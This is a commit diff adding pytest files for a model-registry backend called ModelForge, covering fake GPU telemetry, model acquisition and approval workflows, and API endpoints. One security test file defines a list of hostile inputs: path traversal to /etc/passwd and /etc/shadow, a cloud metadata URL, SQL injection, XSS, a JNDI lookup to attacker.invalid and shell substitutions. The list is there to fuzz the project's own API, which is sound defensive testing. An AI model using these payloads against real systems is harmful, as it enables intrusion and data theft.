Initial public ModelForge release

backend/tests/hardware_fakes.py

@@ -0,0 +1,210 @@
+from __future__ import annotations
+
+from dataclasses import dataclass
+from pathlib import Path
+
+from modelforge_api.domain.enums import Availability
+from modelforge_api.domain.hardware import (
+    AcceleratorInventory,
+    AcceleratorTelemetry,
+    HostInventory,
+    NvidiaCollection,
+    ObservedValue,
+    StorageObservation,
+)
+
+
+class FakeHostCollector:
+    def __init__(self, identity: str = "node-identity") -> None:
+        self.identity = identity
+
+    def collect(self) -> HostInventory:
+        return HostInventory(
+            identity_key=self.identity,
+            identity_source="test",
+            hostname="forge-host",
+            display_name="Forge Host",
+            os_name="TestOS",
+            os_version=ObservedValue.known("1"),
+            architecture="x86_64",
+            kernel_version=ObservedValue.known("1.0"),
+            cpu_model=ObservedValue.known("Test CPU"),
+            logical_cpu_count=ObservedValue.known(16),
+            physical_core_count=ObservedValue.known(8),
+            total_ram_bytes=ObservedValue.known(64 * 1024**3),
+            available_ram_bytes=ObservedValue.known(32 * 1024**3),
+            agent_version="0.1.0",
+            storage=[
+                StorageObservation(
+                    purpose="artifacts",
+                    path=str(Path("/artifacts")),
+                    total_bytes=ObservedValue.known(1000),
+                    used_bytes=ObservedValue.known(400),
+                    free_bytes=ObservedValue.known(600),
+                )
+            ],
+        )
+
+
+def accelerator(device_uuid: str = "GPU-A", name: str = "Fake GPU") -> AcceleratorInventory:
+    return AcceleratorInventory(
+        device_index=0,
+        device_uuid=device_uuid,
+        pci_bus_id=ObservedValue.known("0000:01:00.0"),
+        name=name,
+        architecture=ObservedValue.known("ada"),
+        compute_capability_major=ObservedValue.known(8),
+        compute_capability_minor=ObservedValue.known(9),
+        total_vram_bytes=ObservedValue.known(16 * 1024**3),
+        driver_version=ObservedValue.known("600.1"),
+        cuda_driver_version=ObservedValue.known("13.0"),
+        mig_mode_current=ObservedValue.absent(Availability.UNSUPPORTED),
+    )
+
+
+def telemetry(device_uuid: str = "GPU-A", utilization: int = 25) -> AcceleratorTelemetry:
+    return AcceleratorTelemetry(
+        device_uuid=device_uuid,
+        used_vram_bytes=ObservedValue.known(2 * 1024**3),
+        free_vram_bytes=ObservedValue.known(14 * 1024**3),
+        gpu_utilization_percent=ObservedValue.known(utilization),
+        memory_utilization_percent=ObservedValue.known(10),
+        temperature_c=ObservedValue.known(45),
+        power_draw_w=ObservedValue.known(80.0),
+        power_limit_w=ObservedValue.known(320.0),
+        graphics_clock_mhz=ObservedValue.known(2000),
+        memory_clock_mhz=ObservedValue.known(10000),
+        fan_speed_percent=ObservedValue.absent(Availability.UNSUPPORTED),
+        performance_state=ObservedValue.known("P2"),
+    )
+
+
+class FakeAcceleratorCollector:
+    def __init__(
+        self,
+        devices: list[AcceleratorInventory] | None = None,
+        availability: Availability = Availability.KNOWN,
+        utilization: int = 25,
+    ) -> None:
+        self.devices = devices or []
+        self.availability = availability
+        self.utilization = utilization
+
+    def collect(self) -> NvidiaCollection:
+        return NvidiaCollection(
+            availability=self.availability,
+            reason="NVML unavailable"
+            if self.availability is not Availability.KNOWN
+            else ("no NVIDIA devices detected" if not self.devices else None),
+            inventory=self.devices,
+            telemetry=[telemetry(item.device_uuid, self.utilization) for item in self.devices],
+        )
+
+
+@dataclass
+class Memory:
+    total: int = 16 * 1024**3
+    used: int = 2 * 1024**3
+    free: int = 14 * 1024**3
+
+
+@dataclass
+class Utilization:
+    gpu: int = 25
+    memory: int = 10
+
+
+@dataclass
+class Pci:
+    busId: bytes = b"0000:01:00.0"
+
+
+class FakeNvml:
+    class NVMLError(Exception):
+        pass
+
+    class NVMLError_NotSupported(NVMLError):
+        pass
+
+    NVML_TEMPERATURE_GPU = 0
+    NVML_CLOCK_GRAPHICS = 0
+    NVML_CLOCK_MEM = 1
+    NVML_DEVICE_ARCH_ADA = 7
+
+    def __init__(
+        self,
+        count: int = 1,
+        init_error: bool = False,
+        unsupported_power: bool = False,
+        device_error: int | None = None,
+    ) -> None:
+        self.count = count
+        self.init_error = init_error
+        self.unsupported_power = unsupported_power
+        self.device_error = device_error
+        self.shutdown_calls = 0
+
+    def nvmlInit(self):
+        if self.init_error:
+            raise self.NVMLError("driver")
+
+    def nvmlShutdown(self):
+        self.shutdown_calls += 1
+
+    def nvmlDeviceGetCount(self):
+        return self.count
+
+    def nvmlSystemGetDriverVersion(self):
+        return b"600.1"
+
+    def nvmlSystemGetCudaDriverVersion_v2(self):
+        return 13000
+
+    def nvmlDeviceGetHandleByIndex(self, index):
+        if self.device_error == index:
+            raise self.NVMLError("device")
+        return index
+
+    def nvmlDeviceGetUUID(self, handle):
+        return f"GPU-{handle}".encode()
+
+    def nvmlDeviceGetName(self, handle):
+        return f"Fake GPU {handle}".encode()
+
+    def nvmlDeviceGetMemoryInfo(self, handle):
+        return Memory()
+
+    def nvmlDeviceGetPciInfo(self, handle):
+        return Pci(busId=f"0000:0{handle + 1}:00.0".encode())
+
+    def nvmlDeviceGetCudaComputeCapability(self, handle):
+        return (8, 9)
+
+    def nvmlDeviceGetMigMode(self, handle):
+        raise self.NVMLError_NotSupported()
+
+    def nvmlDeviceGetArchitecture(self, handle):
+        return self.NVML_DEVICE_ARCH_ADA
+
+    def nvmlDeviceGetUtilizationRates(self, handle):
+        return Utilization()
+
+    def nvmlDeviceGetTemperature(self, handle, sensor):
+        return 45
+
+    def nvmlDeviceGetPowerUsage(self, handle):
+        if self.unsupported_power:
+            raise self.NVMLError_NotSupported()
+        return 80000
+
+    def nvmlDeviceGetEnforcedPowerLimit(self, handle):
+        return 320000
+
+    def nvmlDeviceGetClockInfo(self, handle, clock):
+        return 2000
+
+    def nvmlDeviceGetFanSpeed(self, handle):
+        raise self.NVMLError_NotSupported()
+
+    def nvmlDeviceGetPerformanceState(self, handle):
+        return 2

backend/tests/test_acquisition.py

@@ -0,0 +1,497 @@
+from __future__ import annotations
+
+import hashlib
+import uuid
+from datetime import UTC, datetime
+
+import pytest
+from sqlalchemy import create_engine
+from sqlalchemy.orm import Session
+
+from modelforge_api.domain.acquisition import (
+    AgentJobComplete,
+    AgentJobFailure,
+    AgentJobProgress,
+    CompletedFile,
+    DiscoverySearchRequest,
+    DownloadPlanCreate,
+)
+from modelforge_api.persistence.models import (
+    ArtifactInspection,
+    ArtifactSetMember,
+    AuditEvent,
+    Base,
+    ComputeNode,
+    Model,
+    StorageRoot,
+)
+from modelforge_api.providers.huggingface import (
+    HuggingFaceGated,
+    ProviderFile,
+    ProviderSnapshot,
+)
+from modelforge_api.services.acquisition import (
+    AcquisitionError,
+    AcquisitionService,
+    ProviderBoundaryError,
+)
+from modelforge_api.settings import Settings
+
+
+class FakeProvider:
+    def __init__(self, *, fail: Exception | None = None) -> None:
+        self.fail = fail
+        self.sha = "a" * 40
+        self.files = (
+            ProviderFile("config.json", 8, "git-config", None, "json", "configuration"),
+            ProviderFile(
+                "model.safetensors",
+                12,
+                "lfs-weight",
+                hashlib.sha256(b"safe-weights").hexdigest(),
+                "safetensors",
+                "weights",
+            ),
+            ProviderFile(
+                "pytorch_model.bin",
+                12,
+                "lfs-pickle",
+                None,
+                "bin",
+                "weights",
+                ("pickle_or_executable_serialization",),
+            ),
+            ProviderFile(
+                "modeling_custom.py",
+                20,
+                "git-code",
+                None,
+                "python",
+                "repository_code",
+                ("remote_code",),
+            ),
+        )
+
+    def search(self, query: str, *, limit: int, sort: str, pipeline_tag: str | None):
+        return [
+            {
+                "repository_id": "org/safe-model",
+                "resolved_commit_sha": self.sha,
+                "access_state": "public",
+                "pipeline_tag": pipeline_tag or "feature-extraction",
+                "library_name": "transformers",
+                "tags": ["safetensors"],
+                "downloads": 10,
+                "likes": 2,
+                "last_modified": datetime.now(UTC),
+            }
+        ][:limit]
+
+    def snapshot(self, repository_id: str, revision: str) -> ProviderSnapshot:
+        if self.fail:
+            raise self.fail
+        return ProviderSnapshot(
+            repository_id=repository_id,
+            requested_revision=revision,
+            resolved_commit_sha=self.sha,
+            access_state="public",
+            metadata={"pipeline_tag": "feature-extraction", "tags": ["safetensors"]},
+            card_metadata={"license": "apache-2.0"},
+            security_metadata={"upstream_scanner": {"status": "safe"}, "evidence_only": True},
+            source_updated_at=datetime.now(UTC),
+            files=self.files,
+        )
+
+
+@pytest.fixture
+def session() -> Session:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as value:
+        yield value
+
+
+def setup_service(session: Session, *, fail: Exception | None = None):
+    model = Model(
+        key="safe-model",
+        display_name="Safe model",
+        source_type="huggingface",
+        upstream_provider="org",
+        upstream_source="org/safe-model",
+        upstream_metadata={},
+        local_metadata={"owner": "operator"},
+        interpretation_metadata={"seed": True},
+        modalities=[],
+        parameter_metadata={},
+        license_metadata={"status": "unknown"},
+        lifecycle="candidate",
+    )
+    node = ComputeNode(
+        key=f"node-{uuid.uuid4()}",
+        hostname="gpu_node",
+        enabled=True,
+        liveness_state="online",
+        agent_capabilities=["hardware.inventory", "artifact.acquire.v1"],
+    )
+    session.add_all([model, node])
+    session.flush()
+    root = StorageRoot(
+        compute_node_id=node.id,
+        name="gpu_node-cache",
+        path="/host/cache/models",
+        agent_path="/data/artifacts/model-registry",
+        status="ready",
+        writable=True,
+        capacity_bytes=10_000,
+        free_bytes=8_000,
+        reserve_bytes=100,
+        reserve_percent=10,
+    )
+    session.add(root)
+    session.commit()
+    settings = Settings(
+        database_url="sqlite+pysqlite:///:memory:",
+        hf_snapshot_ttl_seconds=3600,
+    )
+    return AcquisitionService(session, settings, FakeProvider(fail=fail)), model, node, root
+
+
+def test_discovery_marks_upstream_facts_and_local_interpretation(session: Session) -> None:
+    service, model, _node, _root = setup_service(session)
+    result = service.search(DiscoverySearchRequest(query="safe"))
+    assert result[0].matched_model_id == model.id
+    assert result[0].upstream_facts["source"] == "huggingface_hub.list_models"
+    assert result[0].local_interpretation["approval"] == "not_evaluated"
+
+
+def test_refresh_pins_exact_revision_and_prefers_safetensors_without_approval(
+    session: Session,
+) -> None:
+    service, model, _node, _root = setup_service(session)
+    snapshot = service.refresh_model(model.id, "main")
+    session.refresh(model)
+    revisions = model.revisions
+    assert snapshot.resolved_commit_sha == "a" * 40
+    assert len(revisions) == 1 and revisions[0].immutable_at is not None
+    artifact_sets = service.artifact_sets(revisions[0].id)
+    assert artifact_sets[0].selected_paths == ["config.json", "model.safetensors"]
+    assert "pytorch_model.bin" not in artifact_sets[0].selected_paths
+    assert model.lifecycle == "candidate"
+    assert model.local_metadata == {"owner": "operator"}
+    assert model.license_metadata["status"] == "captured_unreviewed"
+
+
+def test_refresh_is_repeatable_without_duplicate_revision(session: Session) -> None:
+    service, model, _node, _root = setup_service(session)
+    first = service.refresh_model(model.id, "main")
+    second = service.refresh_model(model.id, "main")
+    assert first.id != second.id
+    assert len(model.revisions) == 1
+    assert len(service.artifact_sets(model.revisions[0].id)) == 1
+
+
+def test_moving_mutable_ref_creates_new_revision_without_changing_original(
+    session: Session,
+) -> None:
+    service, model, _node, _root = setup_service(session)
+    first = service.refresh_model(model.id, "main")
+    provider = service.provider
+    assert isinstance(provider, FakeProvider)
+    provider.sha = "b" * 40
+    second = service.refresh_model(model.id, "main")
+    assert first.resolved_commit_sha == "a" * 40
+    assert second.resolved_commit_sha == "b" * 40
+    assert {revision.resolved_commit_sha for revision in model.revisions} == {
+        "a" * 40,
+        "b" * 40,
+    }
+
+
+def test_gated_error_is_explicit_and_does_not_mutate_candidate(session: Session) -> None:
+    service, model, _node, _root = setup_service(session, fail=HuggingFaceGated("gated"))
+    with pytest.raises(ProviderBoundaryError) as error:
+        service.refresh_model(model.id, "main")
+    assert error.value.details == {"provider_code": "repository_gated", "access_state": "gated"}
+    assert model.revisions == []
+
+
+def test_immutable_plan_has_capacity_and_node_preflights(session: Session) -> None:
+    service, model, node, root = setup_service(session)
+    service.refresh_model(model.id, "main")
+    artifact_set = service.artifact_sets(model.revisions[0].id)[0]
+    plan = service.create_plan(
+        DownloadPlanCreate(
+            artifact_set_id=artifact_set.id,
+            compute_node_id=node.id,
+            storage_root_id=root.id,
+        )
+    )
+    assert plan.resolved_commit_sha == "a" * 40
+    assert plan.preflight["capacity"]["allowed"] is True
+    assert plan.preflight["trust_remote_code"] is False
+    assert plan.status == "planned"
+    assert len(plan.files) == 2
+    assert (
+        service.create_plan(
+            DownloadPlanCreate(
+                artifact_set_id=artifact_set.id,
+                compute_node_id=node.id,
+                storage_root_id=root.id,
+            )
+        ).id
+        == plan.id
+    )
+
+
+@pytest.mark.parametrize("mutation", ["offline", "no-capability", "no-agent-path", "no-capacity"])
+def test_planning_fails_closed_for_invalid_target(session: Session, mutation: str) -> None:
+    service, model, node, root = setup_service(session)
+    service.refresh_model(model.id, "main")
+    artifact_set = service.artifact_sets(model.revisions[0].id)[0]
+    if mutation == "offline":
+        node.liveness_state = "offline"
+    elif mutation == "no-capability":
+        node.agent_capabilities = []
+    elif mutation == "no-agent-path":
+        root.agent_path = None
+    else:
+        root.free_bytes = None
+    session.commit()
+    with pytest.raises(AcquisitionError):
+        service.create_plan(
+            DownloadPlanCreate(
+                artifact_set_id=artifact_set.id,
+                compute_node_id=node.id,
+                storage_root_id=root.id,
+            )
+        )
+
+
+def test_job_lease_progress_completion_registers_verified_content_not_approval(
+    session: Session,
+) -> None:
+    service, model, node, root = setup_service(session)
+    service.refresh_model(model.id, "main")
+    artifact_set = service.artifact_sets(model.revisions[0].id)[0]
+    plan = service.create_plan(
+        DownloadPlanCreate(
+            artifact_set_id=artifact_set.id, compute_node_id=node.id, storage_root_id=root.id
+        )
+    )
+    with pytest.raises(AcquisitionError, match="explicit approval"):
+        service.execute_plan(plan.id)
+    plan = service.approve_plan(plan.id)
+    assert plan.status == "ready"
+    job = service.execute_plan(plan.id)
+    assert len(service.repo.job(job.id).idempotency_key) == 64  # type: ignore[union-attr]
+    lease = service.claim_next(node)
+    assert lease is not None and lease.job_id == job.id
+    control = service.progress(
+        job.id,
+        node,
+        AgentJobProgress(
+            lease_token=lease.lease_token,
+            status="verifying",
+            progress_bytes=0,
+            current_file="config.json",
+            quarantine_relative_path=f".quarantine/{job.id}",
+        ),
+    )
+    assert control.accepted and not control.cancel_requested
+    payloads = {"config.json": b"12345678", "model.safetensors": b"safe-weights"}
+    completed = service.complete(
+        job.id,
+        node,
+        AgentJobComplete(
+            lease_token=lease.lease_token,
+            promoted_relative_path="repositories/org--safe-model/" + "a" * 40,
+            capacity_observation={"free_bytes": 7000},
+            files=[
+                CompletedFile(
+                    path=file.path,
+                    relative_path="repositories/org--safe-model/" + "a" * 40 + "/" + file.path,
+                    size_bytes=len(payloads[file.path]),
+                    sha256=hashlib.sha256(payloads[file.path]).hexdigest(),
+                    inspections=[
+                        {"type": "static", "status": "passed", "severity": "info", "evidence": {}}
+                    ],
+                )
+                for file in lease.files
+            ],
+        ),
+    )
+    assert completed.status == "completed"
+    session.refresh(model)
+    assert model.lifecycle == "candidate"
+    assert all(item.status == "verified" for item in model.revisions[0].artifacts)
+    assert all(
+        item.security_status == "static_checks_passed_unapproved"
+        for item in model.revisions[0].artifacts
+    )
+    assert session.query(ArtifactSetMember).count() == 2
+    assert session.query(ArtifactInspection).count() == 2
+    assert root.free_bytes == 8_000  # incomplete observations never overwrite last-good capacity
+    actions = {item.action for item in session.query(AuditEvent).all()}
+    assert {
+        "DOWNLOAD_PLAN_APPROVED",
+        "ARTIFACT_DOWNLOAD_QUEUED",
+        "ARTIFACT_DOWNLOAD_STARTED",
+        "ARTIFACT_QUARANTINED",
+        "ARTIFACT_VERIFIED",
+        "ARTIFACT_PROMOTED",
+    } <= actions
+
+
+def test_retry_is_bounded_and_cancel_is_terminal(session: Session) -> None:
+    service, model, node, root = setup_service(session)
+    service.refresh_model(model.id, "main")
+    artifact_set = service.artifact_sets(model.revisions[0].id)[0]
+    plan = service.create_plan(
+        DownloadPlanCreate(
+            artifact_set_id=artifact_set.id, compute_node_id=node.id, storage_root_id=root.id
+        )
+    )
+    service.approve_plan(plan.id)
+    job = service.execute_plan(plan.id)
+    for expected in ("queued", "queued", "failed"):
+        lease = service.claim_next(node)
+        assert lease is not None
+        failed = service.fail(
+            job.id,
+            node,
+            AgentJobFailure(
+                lease_token=lease.lease_token,
+                error_code="network",
+                error_message="temporary",
+                retryable=True,
+            ),
+        )
+        assert failed.status == expected
+    assert failed.attempt_count == 3
+    retried = service.retry(job.id)
+    assert retried.status == "queued"
+    assert retried.attempt_count == 3
+    assert retried.progress_bytes == 0
+    assert retried.result["operator_retry"] is True
+    assert service.claim_next(node) is not None
+    assert service.job(job.id).attempt_count == 4
+
+
+def test_stale_plan_never_executes(session: Session, monkeypatch: pytest.MonkeyPatch) -> None:
+    service, model, node, root = setup_service(session)
+    service.refresh_model(model.id, "main")
+    artifact_set = service.artifact_sets(model.revisions[0].id)[0]
+    plan = service.create_plan(
+        DownloadPlanCreate(
+            artifact_set_id=artifact_set.id, compute_node_id=node.id, storage_root_id=root.id
+        )
+    )
+    service.approve_plan(plan.id)
+    monkeypatch.setattr(
+        "modelforge_api.services.acquisition._utcnow",
+        lambda: plan.expires_at.replace(tzinfo=UTC, year=plan.expires_at.year + 1),
+    )
+    with pytest.raises(AcquisitionError, match="stale"):
+        service.execute_plan(plan.id)
+
+
+def test_gated_snapshot_requires_configured_credentials_for_planning(session: Session) -> None:
+    service, model, node, root = setup_service(session)
+    snapshot = service.refresh_model(model.id, "main")
+    stored = service.repo.snapshot(snapshot.id)
+    assert stored is not None
+    stored.access_state = "gated"
+    session.commit()
+    artifact_set = service.artifact_sets(model.revisions[0].id)[0]
+    with pytest.raises(AcquisitionError, match="authentication is required"):
+        service.create_plan(
+            DownloadPlanCreate(
+                artifact_set_id=artifact_set.id,
+                compute_node_id=node.id,
+                storage_root_id=root.id,
+            )
+        )
+
+
+def test_job_is_claimed_only_by_its_target_node_and_execution_is_idempotent(
+    session: Session,
+) -> None:
+    service, model, node, root = setup_service(session)
+    other = ComputeNode(
+        key="other-node",
+        hostname="workstation",
+        enabled=True,
+        liveness_state="online",
+        agent_capabilities=["artifact.acquire.v1"],
+    )
+    session.add(other)
+    session.commit()
+    service.refresh_model(model.id, "main")
+    artifact_set = service.artifact_sets(model.revisions[0].id)[0]
+    plan = service.create_plan(
+        DownloadPlanCreate(
+            artifact_set_id=artifact_set.id,
+            compute_node_id=node.id,
+            storage_root_id=root.id,
+        )
+    )
+    service.approve_plan(plan.id)
+    first = service.execute_plan(plan.id)
+    second = service.execute_plan(plan.id)
+    assert second.id == first.id
+    assert service.claim_next(other) is None
+    assert service.claim_next(node) is not None
+
+
+def test_execution_rechecks_capacity_after_plan_approval(session: Session) -> None:
+    service, model, node, root = setup_service(session)
+    service.refresh_model(model.id, "main")
+    artifact_set = service.artifact_sets(model.revisions[0].id)[0]
+    plan = service.create_plan(
+        DownloadPlanCreate(
+            artifact_set_id=artifact_set.id,
+            compute_node_id=node.id,
+            storage_root_id=root.id,
+        )
+    )
+    service.approve_plan(plan.id)
+    root.free_bytes = 100
+    session.commit()
+    with pytest.raises(AcquisitionError, match="execution capacity preflight failed"):
+        service.execute_plan(plan.id)
+
+
+def test_download_plan_payload_is_immutable(session: Session) -> None:
+    service, model, node, root = setup_service(session)
+    service.refresh_model(model.id, "main")
+    artifact_set = service.artifact_sets(model.revisions[0].id)[0]
+    plan = service.create_plan(
+        DownloadPlanCreate(
+            artifact_set_id=artifact_set.id,
+            compute_node_id=node.id,
+            storage_root_id=root.id,
+        )
+    )
+    stored = service.repo.plan(plan.id)
+    assert stored is not None
+    stored.resolved_commit_sha = "b" * 40
+    with pytest.raises(ValueError, match="immutable approved fields"):
+        session.commit()
+
+
+def test_queued_job_can_be_cancelled_without_claim_or_promotion(session: Session) -> None:
+    service, model, node, root = setup_service(session)
+    service.refresh_model(model.id, "main")
+    artifact_set = service.artifact_sets(model.revisions[0].id)[0]
+    plan = service.create_plan(
+        DownloadPlanCreate(
+            artifact_set_id=artifact_set.id,
+            compute_node_id=node.id,
+            storage_root_id=root.id,
+        )
+    )
+    service.approve_plan(plan.id)
+    job = service.execute_plan(plan.id)
+    cancelled = service.cancel(job.id)
+    assert cancelled.status == "cancelled"
+    assert service.claim_next(node) is None

backend/tests/test_api.py

@@ -0,0 +1,126 @@
+from fastapi.testclient import TestClient
+from pydantic import SecretStr
+from sqlalchemy import create_engine
+from sqlalchemy.orm import Session
+from sqlalchemy.pool import StaticPool
+
+from modelforge_api.api.routes.registry import get_registry_service
+from modelforge_api.db import get_session
+from modelforge_api.domain.release import PRODUCT_VERSION
+from modelforge_api.main import app
+from modelforge_api.persistence.models import Base
+from modelforge_api.services.manifest_registry import ManifestRegistry
+from modelforge_api.services.registry import RegistryService, seed_candidate_registry
+from modelforge_api.settings import Settings, get_settings
+
+client = TestClient(app)
+
+
+def _test_operator_credential() -> str:
+    return "modelforge-test-operator"
+
+
+CONTROL_PLANE_HEADERS = {"X-ModelForge-Admin-Token": _test_operator_credential()}
+
+
+def _configure_operator_auth() -> None:
+    settings = Settings(
+        _env_file=None,
+        operator_api_key=SecretStr(_test_operator_credential()),
+    )
+    app.dependency_overrides[get_settings] = lambda: settings
+
+
+def test_liveness_and_correlation_id() -> None:
+    response = client.get("/api/v1/health/live", headers={"x-correlation-id": "test-correlation"})
+    assert response.status_code == 200
+    assert response.headers["x-correlation-id"] == "test-correlation"
+    assert response.json()["status"] == "ok"
+
+
+def test_readiness_validates_all_manifests() -> None:
+    response = client.get("/api/v1/health/ready")
+    assert response.status_code == 200
+    assert response.json()["checks"] == {"manifests": "healthy"}
+
+
+def test_system_metadata_reports_the_release_without_unpromoted_inference() -> None:
+    """A released product reports its version and channel, not the milestone that built it."""
+
+    engine = create_engine(
+        "sqlite+pysqlite:///:memory:",
+        connect_args={"check_same_thread": False},
+        poolclass=StaticPool,
+    )
+    Base.metadata.create_all(engine)
+    with Session(engine) as session:
+        _configure_operator_auth()
+        app.dependency_overrides[get_session] = lambda: session
+        try:
+            payload = client.get(
+                "/api/v1/system",
+                headers=CONTROL_PLANE_HEADERS,
+            ).json()
+            assert payload["version"] == PRODUCT_VERSION
+            assert payload["release_channel"] == "stable"
+            assert "milestone" not in payload
+            assert payload["production_inference_available"] is False
+        finally:
+            app.dependency_overrides.clear()
+
+
+def test_seed_catalog_is_unverified_candidate_metadata_only() -> None:
+    engine = create_engine(
+        "sqlite+pysqlite:///:memory:",
+        connect_args={"check_same_thread": False},
+        poolclass=StaticPool,
+    )
+    Base.metadata.create_all(engine)
+    with Session(engine) as session:
+        seed_candidate_registry(session, ManifestRegistry())
+        _configure_operator_auth()
+        app.dependency_overrides[get_registry_service] = lambda: RegistryService(session)
+        try:
+            response = client.get("/api/v1/models", headers=CONTROL_PLANE_HEADERS)
+            assert response.status_code == 200
+            models = response.json()["items"]
+            assert len(models) == 15
+            assert all(model["lifecycle"] == "candidate" for model in models)
+            assert all(model["verification_status"] == "unverified" for model in models)
+            assert all(model["deployment_status"] == "not_deployed" for model in models)
+        finally:
+            app.dependency_overrides.clear()
+
+
+def test_capability_and_project_contract_endpoints() -> None:
+    """Runs against an in-memory database, like its neighbours.
+
+    It used to call the endpoint with no session override, so `get_session` handed it the real
+    engine and the test quietly required a live PostgreSQL on localhost. It passed on a developer
+    machine that happened to have one running and failed anywhere else — the same class of hidden
+    environment dependency the release gate exists to find.
+    """
+
+    engine = create_engine(
+        "sqlite+pysqlite:///:memory:",
+        connect_args={"check_same_thread": False},
+        poolclass=StaticPool,
+    )
+    Base.metadata.create_all(engine)
+    with Session(engine) as session:
+        _configure_operator_auth()
+        app.dependency_overrides[get_session] = lambda: session
+        try:
+            capabilities = client.get(
+                "/api/v1/capabilities",
+                headers=CONTROL_PLANE_HEADERS,
+            ).json()
+            projects = client.get(
+                "/api/v1/projects",
+                headers=CONTROL_PLANE_HEADERS,
+            ).json()
+        finally:
+            app.dependency_overrides.clear()
+    assert {item["key"] for item in capabilities} >= {"rag.embedding", "vision.embedding"}
+    assert {item["id"] for item in projects} == {"examplerag", "examplevision", "example-ops"}
+    assert all("model_id" not in binding for project in projects for binding in project["bindings"])

backend/tests/test_api_security_m16.py

@@ -0,0 +1,499 @@
+"""M16 API and input security tests.
+
+Bounded adversarial input against the real typed API: malformed bodies, hostile strings, oversized
+payloads, traversal, injection, mass assignment and error redaction. Nothing here touches a host
+service; every request goes to the application under test.
+"""
+
+from __future__ import annotations
+
+import json
+import uuid
+from typing import Any
+
+import pytest
+from fastapi.testclient import TestClient
+from pydantic import SecretStr
+from sqlalchemy import create_engine
+from sqlalchemy.orm import Session
+from sqlalchemy.pool import StaticPool
+
+from modelforge_api.db import get_session
+from modelforge_api.main import app
+from modelforge_api.persistence.models import Base
+from modelforge_api.settings import Settings, get_settings
+
+ADMIN = {"X-ModelForge-Admin-Token": "m16-operator-key"}
+
+def _label(value: object) -> str:
+    """Short, stable parametrise ids; a 100 KB id makes a failure report unreadable."""
+
+    text = repr(value)
+    return text[:40] + ("…" if len(text) > 40 else "")
+
+
+HOSTILE_STRINGS = [
+    "../../etc/passwd",
+    "..\\..\\windows\\system32\\config\\sam",
+    "/etc/shadow",
+    "C:\\Windows\\System32\\drivers\\etc\\hosts",
+    "%2e%2e%2f%2e%2e%2fetc%2fpasswd",
+    "....//....//etc/passwd",
+    "file:///etc/passwd",
+    "http://169.254.169.254/latest/meta-data/",
+    "'; DROP TABLE models; --",
+    "' OR '1'='1",
+    "1; SELECT pg_sleep(10)",
+    "<script>alert(document.cookie)</script>",
+    "<img src=x onerror=alert(1)>",
+    "javascript:alert(1)",
+    "{{7*7}}",
+    "${jndi:ldap://attacker.invalid/a}",
+    "$(id)",
+    "`id`",
+    "|| cat /etc/passwd",
+    "\x00nullbyte",
+    "line\r\nX-Injected: header",
+    "\u202eoverride",
+    "\u0000\u0001\u0002",
+    "𝕏" * 100,
+    "🙂" * 200,
+]
+
+
+@pytest.fixture
+def client() -> Any:
+    engine = create_engine(
+        "sqlite+pysqlite:///:memory:",
+        connect_args={"check_same_thread": False},
+        poolclass=StaticPool,
+    )
+    Base.metadata.create_all(engine)
+    settings = Settings(
+        _env_file=None,
+        operator_api_key=SecretStr("m16-operator-key"),
+        gateway_max_payload_bytes=65536,
+        gateway_max_input_characters=8192,
+    )
+    with Session(engine) as session:
+        app.dependency_overrides[get_session] = lambda: session
+        app.dependency_overrides[get_settings] = lambda: settings
+        try:
+            yield TestClient(app)
+        finally:
+            app.dependency_overrides.clear()
+
+
+# --------------------------------------------------------------------- malformed bodies
+
+
+@pytest.mark.parametrize(
+    "body",
+    [
+        b"",
+        b"not json at all",
+        b"{",
+        b"[]",
+        b"null",
+        b"123",
+        b'"a string"',
+        b'{"unterminated": ',
+        b'{"a": NaN}',
+        b'{"a": Infinity}',
+        b"\x00\x01\x02",
+        b'{"a": ' + b"[" * 200 + b"]" * 200 + b"}",
+    ],
+    ids=_label,
+)
+def test_a_malformed_body_is_refused_without_a_server_error(client: Any, body: bytes) -> None:
+    response = client.post(
+        "/api/v1/admin/recovery/backups",
+        headers={**ADMIN, "Content-Type": "application/json"},
+        content=body,
+    )
+    assert response.status_code in (400, 422), response.text
+    assert response.status_code < 500
+
+
+@pytest.mark.parametrize(
+    ("field", "value"),
+    [
+        ("backup_id", 12345),
+        ("backup_id", None),
+        ("backup_id", []),
+        ("backup_id", {"nested": "object"}),
+        ("backup_id", True),
+        ("backup_id", "A" * 100000),
+        ("backup_id", "UPPERCASE-NOT-ALLOWED"),
+        ("backup_id", "sh"),
+        ("reason", ""),
+        ("reason", "x" * 100000),
+        ("legal_hold", "yes-please"),
+        ("milestone", "m" * 5000),
+    ],
+    ids=lambda item: _label(item),
+)
+def test_a_wrongly_typed_or_oversized_field_is_refused(
+    client: Any, field: str, value: Any
+) -> None:
+    payload = {"backup_id": "m16-fuzz-target", "reason": "M16 API fuzzing", field: value}
+    response = client.post("/api/v1/admin/recovery/backups", headers=ADMIN, json=payload)
+    assert response.status_code == 422, response.text
+    assert response.json()["error"]["code"] == "request_validation_failed"
+
+
+def test_unknown_fields_cannot_be_mass_assigned(client: Any) -> None:
+    """`extra="forbid"` is what stops a caller writing a field the contract never offered."""
+
+    response = client.post(
+        "/api/v1/admin/recovery/backups",
+        headers=ADMIN,
+        json={
+            "backup_id": "m16-mass-assign",
+            "reason": "M16 mass assignment probe",
+            "state": "VERIFIED",
+            "restore_eligible": True,
+            "verified_at": "2020-01-01T00:00:00Z",
+            "encryption_key": "attacker-supplied",
+            "id": str(uuid.uuid4()),
+        },
+    )
+    assert response.status_code == 422
+    errors = json.dumps(response.json())
+    assert "extra_forbidden" in errors
+
+
+@pytest.mark.parametrize("value", HOSTILE_STRINGS, ids=_label)
+def test_a_hostile_string_in_a_typed_field_never_reaches_execution(
+    client: Any, value: str
+) -> None:
+    """A rejected value and a stored-but-inert value are both fine; a 500 is not."""
+
+    response = client.post(
+        "/api/v1/admin/recovery/backups",
+        headers=ADMIN,
+        json={"backup_id": value, "reason": "M16 hostile input probe"},
+    )
+    assert response.status_code < 500, f"{value!r} produced {response.status_code}"
+    assert response.status_code in (201, 400, 409, 422)
+
+
+@pytest.mark.parametrize("value", HOSTILE_STRINGS, ids=_label)
+def test_a_hostile_string_in_a_free_text_field_is_stored_inertly(
+    client: Any, value: str
+) -> None:
+    response = client.post(
+        "/api/v1/admin/recovery/restore-plans",
+        headers=ADMIN,
+        json={
+            "backup_set_id": str(uuid.uuid4()),
+            "mode": "VALIDATION",
+            "target_environment": "ISOLATED",
+            "target_label": "m16-hostile",
+            "database_destination": "postgresql+psycopg://u:p@h:5432/d",
+            "artifact_strategy": "NONE",
+            "secret_strategy": "ROTATE",
+            "node_strategy": "NONE",
+            "reason": value if len(value) >= 10 else value * 10,
+        },
+    )
